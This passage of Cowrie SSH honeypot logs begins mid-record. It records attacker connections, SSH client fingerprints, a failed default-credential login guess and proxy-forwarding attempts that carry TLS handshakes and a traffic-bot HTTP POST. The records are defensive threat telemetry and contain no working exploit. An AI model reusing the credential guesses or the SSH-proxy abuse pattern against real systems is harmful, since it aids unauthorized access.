\\xfa.y\\xa3\\xa4\\x80\\xc4|\\xa8\\x11IoI\\x04\\xb4\\xf1;C\\xd7\\x08\\xe9\\x95\\xdd\\xb4\\x07\\x03\\xbd\\xaa*ewk\\x00 jj\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 d\\xd3\\xa5z\\xfa\\xa3\\x94\\t\\x7fD\\x9a\\x9as\\xd4\\xb2\\xc7.\\x81G\\x7fU\\xfc\\xd2\\xb0\\xb5\\xe2E\\x8e\\xa9\\x9b\\xb7L\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\n\\n\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.834749Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.47","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.913733Z","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.974070Z","src_ip":"45.153.34.195","session":"162189819a20","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.993396Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc1\\xaa\\xf3?\\x93\\xa4\\xfa\\xfa\\xde\\xbf{\\xb7u\\x1atQs\\xa7\\xc5\\xb8H\\x9e\\xd4\\xc8R;OZJ\\xd2A\\xcb T\\xb5\\x88\\xbe\\xefJ\\xc8\\x08\\x89]\\xf5&\\x89\"\\xd5aP|\\xba\\xb9\\xf5\\xc4S\\xf8\\xb2\\x05u(\\xb4\\xf6\\xb8\\xe7\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xd6d\\x9e\\xe8]\\xa0V\\x9dN\\x10V\\x1bbb0\\x80\\xeel\\x11\\x14\\xa0~\\']\\x917\\xa1E~\\xd7\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":4,"message":"discarded direct-tcp forward request 4 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xc1\\xaa\\xf3?\\x93\\xa4\\xfa\\xfa\\xde\\xbf{\\xb7u\\x1atQs\\xa7\\xc5\\xb8H\\x9e\\xd4\\xc8R;OZJ\\xd2A\\xcb T\\xb5\\x88\\xbe\\xefJ\\xc8\\x08\\x89]\\xf5&\\x89\"\\xd5aP|\\xba\\xb9\\xf5\\xc4S\\xf8\\xb2\\x05u(\\xb4\\xf6\\xb8\\xe7\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\xda\\xda\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\xaf\\xd6d\\x9e\\xe8]\\xa0V\\x9dN\\x10V\\x1bbb0\\x80\\xeel\\x11\\x14\\xa0~\\']\\x917\\xa1E~\\xd7\\x03\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xfa\\xfa\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:01.996284Z","src_ip":"23.175.50.47","session":"dd694c98cd82","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:02.023450Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5.5 Mobile/16H62 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bC91T0JPKHFpSlUwL3h7dg%3D%3DNpAaKh11Fhxln%2Br4S73heGaqA4gjTg1hiHwQLP4F6DJCnU0N9VhQvCaoy2Iv5ReWDPCz1AmzAGYWM3PzrmiN6zJbjU4jxhXv1X7%2BkU9jRhHCIFkw4iSTeZjLYYHWJz5ehKLZ0uJOYWemNS9sgOfAX8XS%2BQX2a%2BKGT5xf72Bi7nO0QRZOpZor9yMb%2FOgH293gfI7TU5%2FyDQ79%2FFsdQZK7DIMtCRLe6c1yFIDKBkftPQqOQaSJwKzL3SLTbwdKQY6tPP7LcVW%2FUNoYqiu5GSRDsR3YvS%2FqU5TJgeYu4%2BFvFYDLpkSLnqpbfVsOVLllTIWS2ykW%2FEkPHhOYRq9QtdS4flA02bnBNJsdx3bjsQiCUQPrZ2FPXT8s6rbBjX5EShzrVorMIT80OYY7gzh09bgL6VPFgGVeRtA7skYud%2FR5zWoovduAGHlT0sOsAbJKojYNtGtyZW90W0B6Y%2BtTvecAjwjPNtZJO3nlB3nTKglCVd5w8NGckgDZYsYGiDWxQZchf2NUNRfw1dJ0qhG0oNYgi%2BjQp1dd3h4lUjT7dtYMYzFtH93SoFRioIGGLUB9slfnFTan3TVw3d1C57fM35YZTBt%2FcXrsXeK4rS3k9ntG0wtZoMHNpVGLSYlVWjb7TZl3SYDaR8UBmtZOAE9vIWBIVwjclQRuYoLIc2E1wtZWLx3Ayixjld07hTI4m5NOAyudJJPj0ZRb47oh7DCC7Ne%2FF6V2OQRdipfZvAO722%2BxvEI8DtB93fhZGx%2B4wQQGP801FHOsWFGsgs8hk1yonROCxXSJ%2FlNbr4pYQQDhoYbHT9hoP1XWqrWsg%2Fgt70cmdKgxgCESF8fOuXg8kEMALshdqkl7NEM3nqtA7sC4VO0YwluMOF0o3rpmjIe16530iF2xFu2En4kxy3boueEAq46LkvnNHhBEZbY0%2BKa9V1MnxeJxnXrNUPQ55LWS8ccd%2BAEPSDGdNtMGiCVCvIp2RaORMk2aNrEWu7mhBSFHmlyEBCjQtRvzEC6Ud7c%2FCiFivMR5mFKEvYonAQH4MJkwuyFWjt80%2BiZctgoHI%2BGZK6a7hpYQiOtDScYMDnAt8gD13XM6'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nAccept-Language: en-US\\r\\nAccept-Encoding: gzip, deflate\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nOrigin: http://api.9hits.com\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_5_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.5.5 Mobile/16H62 Safari/604.1\\r\\nConnection: keep-alive\\r\\nContent-Length: 1168\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\n\\r\\n_=bC91T0JPKHFpSlUwL3h7dg%3D%3DNpAaKh11Fhxln%2Br4S73heGaqA4gjTg1hiHwQLP4F6DJCnU0N9VhQvCaoy2Iv5ReWDPCz1AmzAGYWM3PzrmiN6zJbjU4jxhXv1X7%2BkU9jRhHCIFkw4iSTeZjLYYHWJz5ehKLZ0uJOYWemNS9sgOfAX8XS%2BQX2a%2BKGT5xf72Bi7nO0QRZOpZor9yMb%2FOgH293gfI7TU5%2FyDQ79%2FFsdQZK7DIMtCRLe6c1yFIDKBkftPQqOQaSJwKzL3SLTbwdKQY6tPP7LcVW%2FUNoYqiu5GSRDsR3YvS%2FqU5TJgeYu4%2BFvFYDLpkSLnqpbfVsOVLllTIWS2ykW%2FEkPHhOYRq9QtdS4flA02bnBNJsdx3bjsQiCUQPrZ2FPXT8s6rbBjX5EShzrVorMIT80OYY7gzh09bgL6VPFgGVeRtA7skYud%2FR5zWoovduAGHlT0sOsAbJKojYNtGtyZW90W0B6Y%2BtTvecAjwjPNtZJO3nlB3nTKglCVd5w8NGckgDZYsYGiDWxQZchf2NUNRfw1dJ0qhG0oNYgi%2BjQp1dd3h4lUjT7dtYMYzFtH93SoFRioIGGLUB9slfnFTan3TVw3d1C57fM35YZTBt%2FcXrsXeK4rS3k9ntG0wtZoMHNpVGLSYlVWjb7TZl3SYDaR8UBmtZOAE9vIWBIVwjclQRuYoLIc2E1wtZWLx3Ayixjld07hTI4m5NOAyudJJPj0ZRb47oh7DCC7Ne%2FF6V2OQRdipfZvAO722%2BxvEI8DtB93fhZGx%2B4wQQGP801FHOsWFGsgs8hk1yonROCxXSJ%2FlNbr4pYQQDhoYbHT9hoP1XWqrWsg%2Fgt70cmdKgxgCESF8fOuXg8kEMALshdqkl7NEM3nqtA7sC4VO0YwluMOF0o3rpmjIe16530iF2xFu2En4kxy3boueEAq46LkvnNHhBEZbY0%2BKa9V1MnxeJxnXrNUPQ55LWS8ccd%2BAEPSDGdNtMGiCVCvIp2RaORMk2aNrEWu7mhBSFHmlyEBCjQtRvzEC6Ud7c%2FCiFivMR5mFKEvYonAQH4MJkwuyFWjt80%2BiZctgoHI%2BGZK6a7hpYQiOtDScYMDnAt8gD13XM6'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:02.028738Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.195","src_port":25838,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8fc87d04ce3","protocol":"ssh","message":"New connection: 45.153.34.195:25838 (10.17.0.5:22) [session: f8fc87d04ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.067732Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.072497Z","src_ip":"45.153.34.195","session":"f8fc87d04ce3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.162097Z","src_ip":"45.153.34.195","session":"f8fc87d04ce3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"12.3","message":"Connection lost after 12.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.384199Z","src_ip":"91.92.40.36","session":"72543fa38b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1234567","message":"login attempt [admin/1234567] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.609077Z","src_ip":"45.153.34.195","session":"f8fc87d04ce3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.646061Z","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:04:03.992874Z","src_ip":"123.27.168.40","session":"f725bd15fdd8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\xed\\x92\\xee\\x84\\x1e<\\xe3\\xb5r\\xe7\\xa6\\xdd;\\x19\\xa7\\xf0\\xa4\\xba8\\x0f\\xe1R\\x03\\xec\\x00K\\x1d\\x84\\xd1\\xe41 Z\\xbd\\x98\\xd2\\xff\\xe4\\xc5\\xd1I;][=\\x118\\xed\\xc8\\xb4\\xf0\\x8a\\x19\\xe1\\xde\\x9fU\\xd0\\x13m\\x0e\"\\x89\\xe5\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 \\xee\\x08\\xfbb\\x96\\x18\\xfe7\\xff\\x81\\xf4\\xa96t\\xaf\\xdd\\x93\\x04\\xc6\\x8c\\xab@\\xeec\\xfc\\xf7\\xfd\\xb6\\x15\\xafH_\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xaa\\xaa\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x033\\xed\\x92\\xee\\x84\\x1e<\\xe3\\xb5r\\xe7\\xa6\\xdd;\\x19\\xa7\\xf0\\xa4\\xba8\\x0f\\xe1R\\x03\\xec\\x00K\\x1d\\x84\\xd1\\xe41 Z\\xbd\\x98\\xd2\\xff\\xe4\\xc5\\xd1I;][=\\x118\\xed\\xc8\\xb4\\xf0\\x8a\\x19\\xe1\\xde\\x9fU\\xd0\\x13m\\x0e\"\\x89\\xe5\\x00 \\xda\\xda\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93\\xfa\\xfa\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xea\\xea\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xea\\xea\\x00\\x01\\x00\\x00\\x1d\\x00 